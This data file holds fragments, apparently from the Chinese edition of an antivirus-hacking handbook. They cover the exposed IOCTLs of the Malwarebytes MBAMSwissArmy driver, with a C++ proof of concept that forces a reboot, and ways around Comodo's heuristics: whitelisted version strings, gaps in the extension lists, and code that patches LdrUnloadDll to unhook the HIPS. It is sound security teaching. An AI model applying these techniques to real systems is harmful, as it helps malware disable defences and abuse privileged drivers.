INIT:0002D2CE aDosdevicesMb_0: INIT:0002D2CE unicode 0, <\\DosDevices\\MBAMSwissArmy>,0 INIT:0002D302 ; const WCHAR aDeviceMbamswis INIT:0002D302 aDeviceMbamswis: INIT:0002D302 unicode 0, <\\Device\\MBAMSwissArmy>,0 按下ESC键，回到正在分析的函数，并继续进行分析。 创建设备对象之后的指令，执行了如下代码： INIT:0002D08E mov eax, [esi+_DRIVER_OBJECT.MajorFunction] INIT:0002D091 mov g_MajorFunction, eax INIT:0002D096 mov eax, offset device_create_close INIT:0002D09B mov [esi+_DRIVER_OBJECT.MajorFunction], eax INIT:0002D09E mov [esi+(_DRIVER_OBJECT.MajorFunction+8)], eax INIT:0002D0A1 lea eax, [ebp+DestinationString] INIT:0002D0A4 push eax ; DeviceName INIT:0002D0A5 lea eax, [ebp+SymbolicLinkName] INIT:0002D0A8 push eax ; SymbolicLinkName INIT:0002D0A9 mov [esi+(_DRIVER_OBJECT.MajorFunction+38h)], offset DispatchDeviceControl INIT:0002D0B0 mov [esi+(_DRIVER_OBJECT.MajorFunction+40h)], offset device_cleanup INIT:0002D0B7 mov [esi+_DRIVER_OBJECT.DriverUnload], offset driver_unload INIT:0002D0BE call ds:IoCreateSymbolicLink 似乎其正在注册处理函数的设备驱动。 按下F5来查看该部分代码的伪代码： DriverObject->MajorFunction[IRP_MJ_CREATE] = (PDRIVER_DISPATCH)device_create_close; DriverObject->MajorFunction[IRP_MJ_CLOSE] = (PDRIVER_DISPATCH)device_create_close; DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = (PDRIVER_DISPATCH)DispatchDeviceControl; DriverObject->MajorFunction[IRP_MJ_SHUTDOWN] = (PDRIVER_DISPATCH)device_cleanup; DriverObject->DriverUnload = (PDRIVER_UNLOAD)driver_unload; 上述代码注册在设备创建和关闭的时候进行处理，当机器关闭时，驱动就会卸载，最重要的是，设备控制了被我重命名为 DispatchDeviceControl 的处理器。"},
    {"text": "该函数用于处理用户态模块向驱动发送过来的IOCTL命令： PAGE:0002C11E mov eax, [ebp+Irp] ; IRP->Tail. Overlay.CurrentStackLocation PAGE:0002C121 push ebx PAGE:0002C122 push esi PAGE:0002C123 push edi PAGE:0002C124 mov edi, [eax+60h] PAGE:0002C127 mov eax, [edi+_IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength] PAGE:0002C12A xor ebx, ebx PAGE:0002C12C push ebx ; Timeout PAGE:0002C12D push ebx ; Alertable PAGE:0002C12E push ebx ; WaitMode PAGE:0002C12F push ebx ; WaitReason PAGE:0002C130 mov esi, offset Mutex PAGE:0002C135 push esi ; Object PAGE:0002C136 mov [ebp+CurrentStackLocation], edi PAGE:0002C139 mov [ebp+input_buf_length], eax PAGE:0002C13C call ds:KeWaitForSingleObject PAGE:0002C142 mov edi, [edi+_IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode] PAGE:0002C145 cmp edi, 22241Dh PAGE:0002C14B jz loc_2C34C PAGE:0002C151 cmp edi, 222421h PAGE:0002C157 jz loc_2C34C PAGE:0002C15D cmp edi, 222431h PAGE:0002C163 jz loc_2C34C PAGE:0002C169 cmp edi, 222455h PAGE:0002C16F jz loc_2C34C PAGE:0002C175 cmp edi, 222425h PAGE:0002C17B jz loc_2C34C PAGE:0002C181 cmp edi, 22242Dh PAGE:0002C187 jz loc_2C34C PAGE:0002C18D cmp edi, 222435h PAGE:0002C193 jz loc_2C34C PAGE:0002C199 cmp edi, 222439h PAGE:0002C19F jz loc_2C34C PAGE:0002C1A5 cmp edi, 22245Eh PAGE:0002C1AB jz loc_2C34C PAGE:0002C1B1 cmp edi, 222469h PAGE:0002C1B7 jz loc_2C34C 函数在EAX中存储配分的用户态缓冲区大小，检查存储在EDI中的IOCTL代码，并发送给驱动。"},
    {"text": "让我们跟进 loc_2C34C 处的条件跳转： PAGE:0002C34C loc_2C34C: ; CODE XREF: DispatchDeviceControl+35j PAGE:0002C34C ; DispatchDeviceControl+41j ... PAGE:0002C34C mov edi, [ebp+Irp] PAGE:0002C34F PAGE:0002C34F loc_2C34F: ; CODE XREF: DispatchDeviceControl+1D4j PAGE:0002C34F ; DispatchDeviceControl+1DBj ... PAGE:0002C34F mov eax, [ebp+CurrentStackLocation] PAGE:0002C352 PAGE:0002C352 loc_2C352: ; CODE XREF: DispatchDeviceControl+130j PAGE:0002C352 ; DispatchDeviceControl+13Cj ... PAGE:0002C352 mov ecx, [eax+_IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode] PAGE:0002C355 add ecx, 0FFDDDBFEh ; switch 104 cases PAGE:0002C35B cmp ecx, 67h PAGE:0002C35E ja loc_2C5A9 ; jumptable 0002C36B default case PAGE:0002C364 movzx ecx, ds:byte_2C62E[ecx] PAGE:0002C36B jmp ds:off_2C5CE[ecx*4] ; switch jump 上述列表中粗体的部分是用于决定在IOCTL代码中哪些代码需要被执行的switch列表。"},
    {"text": "下面就是该switch的伪代码，其中有趣的IOCTL代码以粗体标出： switch ( io_stack_location->Parameters.DeviceIoControl.IoControlCode ) { case MB_HandleIoctlEnumerate: v12 = HandleIoctlEnumerate(Irp, io_stack_location, (int)buf); goto FREE_POOL_AND_RELEASE_MUTEX; case MB_HandleIoctlEnumerateADS: v12 = HandleIoctlEnumerateADS(Irp, io_stack_location, (wchar_t *)buf); goto FREE_POOL_AND_RELEASE_MUTEX; case MB_HandleIoctlOverwriteFile: v12 = HandleIoctlOverwriteFile(Irp, io_stack_location, (wchar_t *)buf); goto FREE_POOL_AND_RELEASE_MUTEX; case MB_HandleIoctlReadFile: v12 = HandleIoctlReadFile(Irp, io_stack_location, buf); goto FREE_POOL_AND_RELEASE_MUTEX; case MB_HandleIoctlBreakFile: v15 = HandleIoctlBreakFile(Irp, io_stack_location, (PCWSTR)buf); goto LABEL_41; case MB_HandleIoCreateFile_FileDeleteChild: v12 = HandleIoCreateFile(Irp, (int)io_stack_location, (wchar_t *)buf, FILE_DELETE_CHILD); goto FREE_POOL_AND_RELEASE_MUTEX; case MB_HandleIoCreateFile_FileDirectoryFile: v12 = HandleIoCreateFile(Irp, (int)io_stack_location, (wchar_t *)buf, FILE_DIRECTORY_FILE); goto FREE_POOL_AND_RELEASE_MUTEX; case MB_HandleIoctlReadWritePhysicalSector1: v12 = HandleIoctlReadWritePhysicalSector(Irp, (int)io_stack_location, (int)buf, 1); goto FREE_POOL_AND_RELEASE_MUTEX; case MB_HandleIoctlReadWritePhysicalSector2: v12 = HandleIoctlReadWritePhysicalSector(Irp, (int)io_stack_location, (int)buf, 0); goto FREE_POOL_AND_RELEASE_MUTEX; (...) case MB_HalRebootRoutine: HalReturnToFirmware(HalRebootRoutine); return result; (...) 根据函数名和IOCTL代码，我们可以确定，此处向用户态导出了很多不应该导出给所有用户态进程使用的功能。"},
    {"text": "下面是对上述伪代码中粗体部分IOCTL代码的解释： MB_HandleIoctlOverwriteFile 允许任意用户态进程重写任意文件； MB_HandleIoctlReadFile 允许任意用户态进程读取任意文件； MB_HandleIoCreateFile_FileDeleteChild 删除任意文件和/或目录； MB_HandleIoctlReadWritePhysicalSector1/2 从/向磁盘读或写物理扇区；"},
    {"text": "正是由于防护软件中存在这个漏洞，无论攻击程序在本地拥有什么权限，攻击者都可以在任意位置创建文件、覆盖任意想要覆盖的文件，甚至是在目标机器上安装一个可以直接物理写入的磁盘。"},
    {"text": "从安全角度来讲，这无疑是一个巨大的灾难：原本应该用于保护用户免受恶意攻击者侵害的反病毒软件，事实上却暴露了可以被任意用户利用来控制机器的内核态相关功能。"},
    {"text": "下面是文件main.cpp的代码： #include \"mb_swiss.h\" //-------------------------------------------------------------------- void usage(const char *prog_name) { printf( \"Usage: %s\\n\" \"--reboot Forcefully reboot the machine.\\n\" \"-v Show version information about the driver.\\n\", prog_name); } //------------------------------------------------------------------- int main(int argc, char **argv) { CMBSwiss swiss; if ( swiss.open_device() ) { printf(\"[+] Device successfully opened\\n\"); for ( int i = 1; i < argc; i++ ) { if ( strcmp(argv[i], \"--reboot\") == 0 ) { printf(\"[+] Bye, bye!!!\"); Sleep(2000); swiss.reboot(); printf(\"[!] Something went wrong :/\\n\"); } else if ( strcmp(argv[i], \"-v\") == 0 ) { char ver[24]; if ( swiss.get_version(ver, sizeof(ver)) ) printf(\"[+] MBAMSwissArmy driver version %s\\n\", ver); else printf(\"[!] Error getting MBAMSwissArmy driver version :(\\n\"); } else { usage(argv[0]); } } } return 0; } 上述代码只处理两条命令： -reboot 重启机器；"},
    {"text": "现在让我们来瞧一瞧mb_swiss.h头部文件： #ifndef MB_SWISS_H #define MB_SWISS_H #include <windows.h> #include <string> #include <tlhelp32.h> #include <winternl.h> #include <wchar.h> #include <stdio.h> //----------------------------------------------------------------- #define MBSWISS_DEVICE_NAME L\"\\\\\\\\.\\\\MBAMSwissArmy\" //----------------------------------------------------------------- enum MB_SWISS_ARMY_IOCTLS_T { MB_HandleIoctlEnumerate = 0x222402, MB_HandleIoctlEnumerateADS = 0x22245A, MB_HandleIoctlOverwriteFile = 0x22242A, MB_HandleIoctlReadFile = 0x222406, MB_HandleIoctlBreakFile = 0x222408, MB_HandleIoCreateFile_FileDeleteChild = 0x22240C, MB_HandleIoCreateFile_FileDirectoryFile = 0x222410, MB_HandleIoctlReadWritePhysicalSector1 = 0x222416, MB_HandleIoctlReadWritePhysicalSector2 = 0x222419, MB_0x222435u = 0x222435, MB_0x222439u = 0x222439, MB_0x22241Du = 0x22241D, MB_do_free_dword_2A548 = 0x222421, MB_0x222431u = 0x222431, MB_DetectKernelHooks = 0x222455, MB_HandleIoctlReadMemoryImage = 0x222452, MB_0x222442u = 0x222442, MB_0x222446u = 0x222446, MB_0x22244Au = 0x22244A, MB_RegisterShutdownNotification = 0x22244E, MB_HalRebootRoutine = 0x222425, MB_ReBuildVolumesData = 0x22242D, MB_HandleIoctlGetDriverVersion = 0x22245E, MB_set_g_sys_buf_2A550 = 0x222461, MB_PrintKernelReport = 0x222465, MB_free_g_sys_buf_2a550 = 0x222469, }; //------------------------------------------------------------------- struct mb_driver_version_t { int major; int minor; int revision; int other; }; //------------------------------------------------------------------- class CMBSwiss { private: HANDLE device_handle; public: bool open_device(void); void reboot(void); bool get_version(char *buf, size_t size); bool overwrite_file(const wchar_t *file1, const wchar_t *file2); }; #endif 最后，调用 DeviceIoControl 的mb_swiss.cpp的代码如下： #include \"mb_swiss.h\" //------------------------------------------------------------------- bool base_open_device(const wchar_t *uni_name, HANDLE *device_handle) { HANDLE hFile = CreateFileW(uni_name, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0); if ( hFile == INVALID_HANDLE_VALUE ) printf(\"[!] Error: %d\\n\", GetLastError()); *device_handle = hFile; return hFile != INVALID_HANDLE_VALUE; } //------------------------------------------------------------------ bool CMBSwiss::open_device(void) { return base_open_device(MBSWISS_DEVICE_NAME, &device_handle); } //------------------------------------------------------------------ void CMBSwiss::reboot(void) { DWORD bytes; DWORD buf; if ( !DeviceIoControl(device_handle, MB_HalRebootRoutine, &buf, sizeof(buf), &buf, sizeof(buf), &bytes, 0) ) { printf(\"[!] Operation failed, %d\\n\", GetLastError()); } } //------------------------------------------------------------------ bool CMBSwiss::get_version(char *buf, size_t size) { DWORD bytes; mb_driver_version_t version = {0}; if ( !DeviceIoControl(device_handle, MB_HandleIoctlGetDriverVersion, &version, sizeof(version), &version, sizeof(version), &bytes, 0) ) { printf(\"[!] Error getting version %d\\n\", GetLastError()); return false; } _snprintf_s(buf, size, size, \"%d.%d.%d.%d\", version.major, version.minor, version.other, version.revision); return true; } 要记住本例中使用的IOCTL代码是由Malwarebytes的驱动处理的，而这些功能本不应该提供给任意本地用户使用。"},
    {"text": "比本书中演示的重启机器更完整、支持更多功能的漏洞利用攻击PoC，可以在如下地址下载： https://github.com/joxeankoret/tahh/malwarebytes 。"},
    {"text": "错误权限分配 这类漏洞的产生是因为对系统对象、进程线程和文件进行了错误的设置，或根本没有设置相关权限或访问控制列表（ACL）。 比如，一个ACL为null的SYSTEM进程就为低权限的进程开放了攻击的大门。"},
    {"text": "要挖掘可在本地利用攻击的漏洞非常简单，如下所示： (1) 安装对应软件，重启机器，观察所有被安装的模块； (2) 通过复查已安装的服务、进程和内核驱动的权限分配以及每个对象、文件等的权限，来分析对应软件的本地攻击面；"},
    {"text": "黑客攻防技术宝典：反病毒篇 第 9 章 绕过启发式引擎 反病毒软件中最常见的不依赖于特定特征码进行检测的模块是启发式引擎。 与通用侦测程序或基于特征码的常见病毒扫描侦测方案不同，启发式引擎依据文件通用行为作出判断。 反病毒软件使用的启发式引擎通过评估样本文件的行为和其他侦测依据实现病毒侦测，而不是依赖于特定特征码扫描侦测带有类似行为特征的恶意软件及其变种。"},
    {"text": "了解各种各样的启发式引擎将会对绕过相关侦测工作大有帮助。 通过阅读本章，反病毒软件工程师同样可以了解到攻击者是如何绕过启发式引擎检测的，进而改进侦测引擎。"},
    {"text": "静态启发式引擎通过反汇编或筛选分析文件头收集的相关侦测信息来发现恶意软件。 同样是基于相应文件行为，动态启发式引擎通过hook API调用或在模拟框架下执行程序来侦测恶意软件。"},
    {"text": "比如，一种常见的情况是使用基于机器学习算法（例如，贝叶斯神经网络算法或通用学习算法）的启发式引擎，因为它们需要针对由集群工具包（即启发式引擎）创建的最大的恶意软件家族，找出不同变种间的相似性。"},
    {"text": "该启发式引擎通过库文件libHEUR.so实现。 幸运的是，libHEUR.so库带有完整的调试符号，因此我们通过查找函数名，即可找到库里面真实的启发式引擎代码。"},
    {"text": "图9-1展示了在IDA中启发式引擎的函数列表。 图9-1 IDA中展示的启发式引擎函数 该列表显示，启发式引擎借助C++类 CAEHeurScanner 实现启发式扫描。"},
    {"text": "通过观察IDA反汇编结果列表中的VTable，可以确认 ScanSingleTarget 方法正是此次研究绕过启发式引擎的目标： .data.rel.ro:000000000021A590 ; `vtable for'CAEHeurScanner .data.rel.ro:000000000021A590 _ZTV14CAEHeurScanner dq 0 ; DATA XREF: .got:_ZTV14CAEHeurScanner_ptr .data.rel.ro:000000000021A598 dq offset _ZTI14CAEHeurScanner ; `typeinfo for'CAEHeurScanner .data.rel.ro:000000000021A5A0 dq offset _ZN14CAEHeurScanner14QueryInterfaceER5_GUIDPPv ; CAEHeurScanner::QueryInterface(_GUID &,void **) .data.rel.ro:000000000021A5A8 dq offset _ZN14CAEHeurScanner6AddRefEv ; CAEHeurScanner::AddRef(void) .data.rel.ro:000000000021A5B0 dq offset _ZN14CAEHeurScanner7ReleaseEv ; CAEHeurScanner::Release(void) .data.rel.ro:000000000021A5B8 dq offset _ZN14CAEHeurScannerD1Ev ; CAEHeurScanner::~CAEHeurScanner() .data.rel.ro:000000000021A5C0 dq offset _ZN14CAEHeurScannerD0Ev ; CAEHeurScanner::~CAEHeurScanner() .data.rel.ro:000000000021A5C8 dq offset _ZN14CAEHeurScanner4InitEP8IUnknownPv ; CAEHeurScanner::Init(IUnknown *, void *) .data.rel.ro:000000000021A5D0 dq offset _ZN14CAEHeurScanner6UnInitEPv ; CAEHeurScanner::UnInit(void *) .data.rel.ro:000000000021A5D8 dq offset _ZN14CAEHeurScanner12GetScannerIDEP10_SCANNERID ; CAEHeurScanner::GetScannerID(_SCANNERID *) .data.rel.ro:000000000021A5E0 dq offset _ZN14CAEHeurScanner10SetSignMgrEP8IUnknown ; CAEHeurScanner::SetSignMgr(IUnknown *) .data.rel.ro:000000000021A5E8 dq offset _ZN14CAEHeurScanner16ScanSingleTargetEP7ITargetP11_SCANOPTIONP11_SCANRESULT ; CAEHeurScanner::ScanSingleTarget(ITarget *,_SCANOPTION *,_SCANRESULT *) .data.rel.ro:000000000021A5F0 dq offset _ZN14CAEHeurScanner4CureEPvj ; CAEHeurScanner::Cure(void *,uint) 在分析该函数之前，我们需要在IDA中定位到该方法的相关位置。"},
    {"text": "在进行了一系列无趣的未知类型的对象成员调用后，对成员 ScanMultiPacked 有一次调用： .text:000000000000E4F9 mov esi, [pstScanOptions+SCANOPTION.eSHeurLevel] ; nLevel .text:000000000000E4FD mov rcx, pstResult ; pstResult .text:000000000000E500 mov rdx, piSrcTarget ; piTarget .text:000000000000E503 mov rdi, this ; this .text:000000000000E506 call __ZN14CAEHeurScanner15ScanMultiPackedEiP7ITargetP11_SCANRESULT ; CAEHeurScanner::ScanMultiPacked(int,ITarget *,_SCANRESULT *) 第一个启发式程序会判断文件是否经过多次加壳。 在这次调用之后有许多指令，包括对 ScanUnknownPacker 一次很有意思的调用： .text:000000000000E516 mov rcx, pstResult ; pstResult .text:000000000000E519 mov rdx, pstScanOptions ; pstScanOptions .text:000000000000E51C mov rsi, piSrcTarget ; piSrcTarget .text:000000000000E51F mov rdi, this ; this .text:000000000000E522 call __ZN14CAEHeurScanner16ScanUnknowPackerEP7ITargetP11_SCANOPTIONP11_SCANRESULT ; CAEHeurScanner::ScanUnknowPacker(ITarget *,_SCANOPTION *,_SCANRESULT *) 很明显，这是因为Comodo想要收集更多的相关证据信息。"},
    {"text": "如果继续分析该启发式引擎，我们会发现该次调用后，接着又是许多指令，包括下面这个对 ScanDualExtension 的一次有趣的调用： .text:000000000000E530 mov rcx, pstResult ; pstScanResult .text:000000000000E533 mov rdx, pstScanOptions ; pstScanOption .text:000000000000E536 mov rsi, piSrcTarget ; piTarget .text:000000000000E539 mov rdi, this ; this .text:000000000000E53C call __ZN14CAEHeurScanner17ScanDualExtensionEP7ITargetP11_SCANOPTIONP11_SCANRESULT ; CAEHeurScanner::ScanDualExtension(ITarget *,_SCANOPTION *,_SCANRESULT *) 无须经过运行程序并判断分析的操作，双扩展名文件这一特征就会直接被启发式引擎列为用以判定恶意文件的相关证据之一。 现在，我们接着分析剩余部分的调用： .text:000000000000E557 mov rcx, pstResult ; pstScanResult .text:000000000000E55A mov rdx, pstScanOptions ; pstScanOption .text:000000000000E55D mov rsi, piSrcTarget ; piTarget .text:000000000000E560 mov rdi, this ; this .text:000000000000E563 call __ZN14CAEHeurScanner13ScanCorruptPEEP7ITargetP11_SCANOPTIONP11_SCANRESULT ; CAEHeurScanner::ScanCorruptPE(ITarget *,_SCANOPTION *,_SCANRESULT *) (...) .text:000000000000E584 mov rsi, piSrcTarget ; piTarget .text:000000000000E587 mov rdi, this ; this .text:000000000000E58A call __ZN14CAEHeurScanner5IsFPsEP7ITarget ; CAEHeurScanner::IsFPs(ITarget *) (...) 首先，启发式引擎会调用函数 ScanCorruptPE 来检查文件是否已经损坏。"},
    {"text": "函数 IsFPs 结构如下： .text:000000000000EABC ; PRBool __cdecl CAEHeurScanner::IsFPs( CAEHeurScanner *const this, ITarget *piTarget) .text:000000000000EABC public _ZN14CAEHeurScanner5IsFPsEP7ITarget .text:000000000000EABC _ZN14CAEHeurScanner5IsFPsEP7ITarget proc near .text:000000000000EABC ; DATA XREF: .got.plt:off_21B160 o .text:000000000000EABC Exit0: .text:000000000000EABC this = rdi ; CAEHeurScanner *const .text:000000000000EABC piTarget = rsi ; ITarget * .text:000000000000EABC sub rsp, 8 .text:000000000000EAC0 call __ZN14CAEHeurScanner18IsWhiteVersionInfoEP7ITarget ; CAEHeurScanner::IsWhiteVersionInfo(ITarget *) .text:000000000000EAC5 test eax, eax .text:000000000000EAC7 bRetCode = rax ; PRBool .text:000000000000EAC7 setnz al .text:000000000000EACA movzx eax, al .text:000000000000EACD pop rdx .text:000000000000EACE retn .text:000000000000EACE _ZN14CAEHeurScanner5IsFPsEP7ITarget endp IsFPs 调用了另一个成员： IsWhiteVersionInfo 。"},
    {"text": "如果分析该函数的伪代码，我们会发现一个更有趣的算法： (...) if ( CAEHeurScanner::GetFileVer(v2, piTarget, wszVerInfo, 0x104uLL, v2->m_hVersionDll) ) { for ( i = 0; i < g_nWhiteVerInfoCount; ++i ) { if ( !(unsigned int)PR_wcsicmp2(wszVerInfo, g_WhiteVerInfo[(signed __int64)i].szVerInfo) ) return 1; } } (...) 提示 在Windows操作平台上，版本信息被存储在资源目录下，且有着定义明确的结构格式。"},
    {"text": "如果使用十六进制编辑器打开查看，会得到如下结果： 000000000021BAEE 00 00 41 00 00 00 6E 00 00 00 64 00 00 00 72 00 ..A...n...d...r. 000000000021BAFE 00 00 65 00 00 00 61 00 00 00 73 00 00 00 20 00 ..e...a...s... . 000000000021BB0E 00 00 48 00 00 00 61 00 00 00 75 00 00 00 73 00 ..H...a...u...s. 000000000021BB1E 00 00 6C 00 00 00 61 00 00 00 64 00 00 00 65 00 ..l...a...d...e. 000000000021BB2E 00 00 6E 00 00 00 00 00 00 00 00 00 00 00 00 00 ..n............. (...) 000000000021BBEE 00 00 41 00 00 00 72 00 00 00 74 00 00 00 69 00 ..A...r...t...i. 000000000021BBFE 00 00 6E 00 00 00 73 00 00 00 6F 00 00 00 66 00 ..n...s...o...f. 000000000021BC0E 00 00 74 00 00 00 20 00 00 00 53 00 00 00 2E 00 ..t... ...S..... 000000000021BC1E 00 00 41 00 00 00 2E 00 00 00 00 00 00 00 00 00 ..A............. (...) 000000000021BCEE 00 00 42 00 00 00 6F 00 00 00 62 00 00 00 53 00 ..B...o...b...S. 000000000021BCFE 00 00 6F 00 00 00 66 00 00 00 74 00 00 00 00 00 ..o...f...t..... (...) 想要绕过简单的静态启发式引擎，我们可以给恶意软件版本信息使用在白名单列表中的UTF-32编码字符串，如Andreas Hausladen、ArtinSoft S.A.或BobSoft。"},
    {"text": "现在来看一下之前的启发式程序，如 ScanDualExtension ： (...) if ( v22 && (unsigned int)CAEHeurScanner::IsInExtensionsList(v6, v22, g_LastExtList, 6u) && (unsigned int)CAEHeurScanner::IsInExtensionsList(v6, v18, g_SecLastExtList, 0x2Fu) ) { CSecKit::DbgStrCpyA( &v6->m_cSecKit, \"/home/ubuntu/cavse_unix/scanners/heur/src/CAEHeurDualExtension cpp\", 111, Scan_result->szMalwareName, 0x40uLL, \"Heur.Dual.Extensions\"); Scan_result->bFound = 1; result = 0LL; } else { LABEL_23: result = 0x80004005LL; } (...) 可以很清楚地从上述伪代码中看到，程序校验了扩展格式是否在以下两个列表中： g_LastExtList 和 g_SecLastExtList 。"},
    {"text": "如果是，结果对象实例 Scan_result 就会被更新，这样成员 szMalwareName 就会包含侦测名称（ Heur.Dual.Extensions ），同时对象 bFound 的值会被设置成1（代表true）。"},
    {"text": "现在来查看两组拓展格式列表： .data:000000000021B8D0 ; EXTENSION_0 g_LastExtList[6] .data:000000000021B8D0 g_LastExtList db '.EXE',0,0,0,0,0,0,'.VBS',0,0, 0,0,0,0,'.JS',0,0,0,0,0,0,0,'.CMD',0,0,0,0,0,0,'.BAT',0,0,0,0,0,0,'.' .data:000000000021B8D0 ; DATA XREF: .got:wcsExtList o .data:000000000021B8D0 db 'SCR',0,0,0,0,0,0 .data:000000000021B90C align 10h .data:000000000021B910 public g_SecLastExtList .data:000000000021B910 ; EXTENSION_0 g_SecLastExtList[47] .data:000000000021B910 g_SecLastExtList db '.ASF',0,0,0,0,0,0,'.AVI',0,0 ,0,0,0,0,'.BMP',0,0,0,0,0,0,'.CAB',0,0,0,0,0,0,'.CHM',0,0,0,0,0,0,'.' .data:000000000021B910 ; DATA XREF: .got:g_SecLastExtList_ptr o .data:000000000021B910 db 'CUR',0,0,0,0,0,0,'.DOC',0,0,0 ,0,0,0,'.MSG',0,0,0,0,0,0,'.EML',0,0,0,0,0,0,'.FLA',0,0,0,0,0,0,'.' .data:000000000021B910 db 'FON',0,0,0,0,0,0,'.GIF',0,0,0 ,0,0,0,'.HLP',0,0,0,0,0,0,'.HTM',0,0,0,0,0,0,'.HTT',0,0,0,0,0,0,'.' .data:000000000021B910 db 'ICO',0,0,0,0,0,0,'.INF',0,0,0 ,0,0,0,'.INI',0,0,0,0,0,0,'.LOG',0,0,0,0,0,0,'.MID',0,0,0,0,0,0,'.' .data:000000000021B910 db 'DOC',0,0,0,0,0,0,'.JPE',0,0,0 ,0,0,0,'.JFIF',0,0,0,0,0,'.MOV',0,0,0,0,0,0,'.MP3',0,0,0,0,0,0,'.' .data:000000000021B910 db 'MP4',0,0,0,0,0,0,'.PDF',0,0,0 ,0,0,0,'.PPT',0,0,0,0,0,0,'.PNG',0,0,0,0,0,0,'.RAR',0,0,0,0,0,0,'.' .data:000000000021B910 db 'REG',0,0,0,0,0,0,'.RM',0,0,0, 0,0,0,0,'.RMF',0,0,0,0,0,0,'.RMVB',0,0,0,0,0,'.JPEG',0,0,0,0,0,'.' .data:000000000021B910 db 'TIF',0,0,0,0,0,0,'.IMG',0,0,0 ,0,0,0,'.WMV',0,0,0,0,0,0,'.7Z',0,0,0,0,0,0,0,'.SWF',0,0,0,0,0,0,'.' .data:000000000021B910 db 'JPG',0,0,0,0,0,0,'.TXT',0,0,0 ,0,0,0,'.WAV',0,0,0,0,0,0,'.XLS',0,0,0,0,0,0,'.XLT',0,0,0,0,0,0,'.' .data:000000000021B910 db 'XLV',0,0,0,0,0,0,'.ZIP',0,0,0 ,0,0,0 正如我们所见，扩展列表由固定大小的ASCII字符串集合以及其他各类典型文件拓展格式组成。"},
    {"text": "第一个扩展列表包含了许多典型可执行文件拓展格式（如.EXE、.CMD、.VBS等），第二个列表包含了许多流行文件、视频、声音和图像文件拓展格式（如.AVI或.BMP）。"},
    {"text": "类似的双文件拓展名，常被恶意软件用于社会工程学攻击，欺骗用户认为他们当前点击的可执行文件其实是视频、图片、文档格式、ZIP文件等其他种类的文件。"},
    {"text": "要绕过启发式引擎检测，你可以使用上面第一个拓展格式列表中没有列出的可执行文件格式作为单一的文件扩展名（如.CPL、.HTA或.PIF），也可以使用没有在前面不可执行文件类型列表中列出的第二种文件扩展名（如.JPG或.DOCX）。"},
    {"text": "(1) 首先，这类引擎会向要监控的用户态进程注入一个库。 一般情况下，hooking库会注入系统所有进程，这样才能实现针对用户态进程的系统级监控。"},
    {"text": "还有一个代码注入技术，不过不是十分靠谱，其工作原理是：当Windows桌面启动时，执行相关反病毒程序模块，通过 CreateRemoteThread 注入explorer.exe进程，并hook住 CreateProcessInternal 函数。"},
    {"text": "除了使用的注入技术有所不同外，所有hooking引擎的工作原理几乎是一致的，因此你可以使用通用技巧来绕过一些或者全部在用户态实现的hooking引擎。 这项绕过技巧基于以下事实：反病毒软件hooking引擎必须重写原生函数序言（prologue），使用jump将原生函数替换为软件的相应分析函数。"},
    {"text": "为了更好地理解这一概念，需要注意的是，大多数框架结构的函数拥有相同的字节码序列或机器指令，如下： 8BFF mov edi,edi 55 push ebp 8BEC mov ebp,esp 卸载撤销hook最便捷的办法是在相关绕过代码中写死函数序言的字节码序列，接着用上述字节码序列重写函数的开头部分。"},
    {"text": "在这种情况下，我们不需要修改已加载库的内存来卸载移除hook，而是只需要使用ntdll.dll导出的API（一般称作原生API），反病毒hooking引擎就会忽略恶意软件样本的相关操作。"},
    {"text": "要注意的是，如果这些DLL没有注意到要添加ASLR（address space layout randomization）保护，那么将会造成应用在所有受保护的用户态部分上的系统层面的ASLR保护失效。"},
    {"text": "图9-2 未启用ASLR保护的Comodo HIPS引擎注入到了Firefox Comodo的guard32和guard64库hook了类似 kernel32!CreateProcess[A|W] 、 kernel32!CreateFile[A|W] 和 ntdll!drUnloadDll 导出的用户态函数。"},
    {"text": "绕过此类动态启发式引擎防护侦测的一个快速简单的方式是，通过卸载hook库（针对32位进程的guard32.dll和针对64位进程的guard64.dll）禁用HIPS防护。"},
    {"text": "我第一次尝试的方法使用了以下代码： int unhook(void) { return FreeLibrary(GetModuleHandleA(\"guard32.dll\")); } 但是，这似乎不起作用。"},
    {"text": "将调试器附加到对应用户态进程上后，我们会发现检测模块hook了 FreeLibrary 函数，这一过程不是在kernel32层（kernel32库导出了函数 FreeLibrary ）而是在ntdll.dll层通过hook函数 LdrUnloadDll 实现。"},
    {"text": "我们可以移除 LdrUnloadDll 上的hook，接着调用之前的代码，代码如下： HMODULE hlib = GetModuleHandleA(\"guard32.dll\"); if ( hlib != INVALID_HANDLE_VALUE ) { void *addr = GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"LdrUnloadDll\"); if ( addr != NULL ) { DWORD old_prot; if ( VirtualProtect(addr, 16, PAGE_EXECUTE_READWRITE, &old_prot) != 0 ) { // Bytes hard-coded from the original Windows 7 x32 // ntdll.dll library char *patch = \"\\x6A\\x14\\x68\\xD8\\xBC\\xE9\\x7D\\xE8\\x51\\xCC\" \"\\xFE\\xFF\\x83\\x65\\xE0\\x00\"; memcpy(addr, patch, sizeof(patch)); VirtualProtect(addr, 16, old_prot, &old_prot); } } if ( FreeLibrary(hlib) ) MessageBoxA(0, \"Magic done\", \"MAGIC\", 0); } 为了跟进这一简单的例子，我们只需要回到ntdll.dll导出的函数 LdrUnloadDll 的入口点处，然后借助guard32.dll库的句柄调用 FreeLibrary 。"},
    {"text": "我记得第一次有人提到这一技术是在 Phrack 杂志（2003~2004年第11卷，第62期），可以通过 http://grugq.github.io/docs/phrack-62-05.txt 访问到原文。"},
    {"text": "反病毒软件可以在内核层面通过下列函数的回调hook进程或线程的创建： PsSetCreateProcessNotifyRoutine 每当进程被创建或删除后，就从调用程序列表中添加或移除元素；"},
    {"text": "PsSetCreateThreadNotifyRoutine 注册一个由驱动实现的回调，每当新的线程被创建或删除时，就发出提示； PsSetLoadImageNotifyRoutine 注册一个由驱动实现的回调，每当新的图像被加载或绘制进入内存的时候，就发出提示。"},
    {"text": "但是，借助内核驱动，恶意软件可以进行比 PASSIVE_LEVEL （mini-filter的工作层面）更低的底层操作，比如 APC_LEVEL （异步程序调用）或 DISPATCH_LEVEL （延时调用）。"},
